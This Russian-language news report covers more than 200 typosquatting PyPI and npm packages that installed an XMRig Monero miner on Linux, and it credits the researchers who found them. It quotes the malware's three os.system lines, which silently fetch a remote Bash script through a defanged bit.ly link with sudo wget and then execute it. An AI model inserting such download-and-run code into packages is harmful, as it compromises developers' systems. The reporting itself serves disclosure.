Эксперты снова обнаружили малварь в репозиториях PyPI и npm. На этот раз выяснилось, что более 200 пакетов используют тайпсквоттинг и содержат криптовалютные майнеры для Linux-систем.
Первым проблему заметил независимый ИБ-исследователь Хауке Любберс, который нашел «как минимум 33 пакета» в PyPI, которые запускали майнер XMRig, добывающий криптовалюту Monero. Для их распространения использовался тайпсквоттинг, то есть пакеты загружались в том случае, если пользователь опечатался в названии настоящего популярного пакета (так как разработчики обычно загружают пакеты через терминал, опечатки встречаются часто). Например, вредоносы имитировали React, argparse и AIOHTTP.
Пока Любберс уведомлял о своей находке администрацию PyPI, тот же злоумышленник начал публиковать еще один набор из 22 пакетов с такой же полезной нагрузкой.
Исследователь рассказывает, что все пакеты были ориентированы на Linux-системы и содержали фрагмент кода, который загружал Bash-скрипт с сервера злоумышленника посредством сервиса сокращения URL-адресов Bit.ly:
os.system("sudo wget https://bit[.]ly/3c2tMTT -O ./.cmc -L >/dev/null 2>&1")
os.system("chmod +x .cmc >/dev/ null 2>&1")
os.system("./.cmc >/dev/null 2>&1")
Любберс объясняет, что URL-адрес на bit.ly указывает на скрипт, размещенный на 80.78.25[.]140:8000. После выполнения данный скрипт уведомляет своего оператора об IP-адресе скомпрометированного хоста и об успешном развертывании майнера.
«Я нашел эти пакеты с помощью своего побочного проект, который я называю Package Observatory Club, — рассказал Любберс журналистам издания Bleeping Computer. — Он запрашивает и сохраняет метаданные обо всех новых пакетах, загруженных в PyPI и RubyGems.org, а затем использует некоторые эвристики. Если пакет выглядит подозрительно, он предупреждает меня, и я смотрю. Чаще всего я получаю ложные срабатывания, но на прошлой неделе в PyPI было особенно много тайпсквоттинга».
Любберс объясняет, что занимается этим потому, что «ИБ-сообщество получает очень многое от опенсорсной экосистемы», и он считает своим долгом чем-то за это отплатить:
«Будь то поиск уязвимостей, помощь в защите от злоумышленников или непосредственная контрибуция. Мы должны понимать, что большая часть работы репозиториев пакетов держится на небольшой горстке добровольцев», — говорит эксперт.
Практически одновременно с Хауке Любберсом аналитики из компании Sonatype обнаружили в npm еще 186 вредоносных пакетов, связанных с тем же URL-адресом для загрузки вредоносного Bash- скрипта.
К счастью, что оба репозитория довольно быстро убрали тайпсквоттинговую малварь со своих платформ, и вредоносные пакеты вряд ли успели причинить большой вред разработчикам.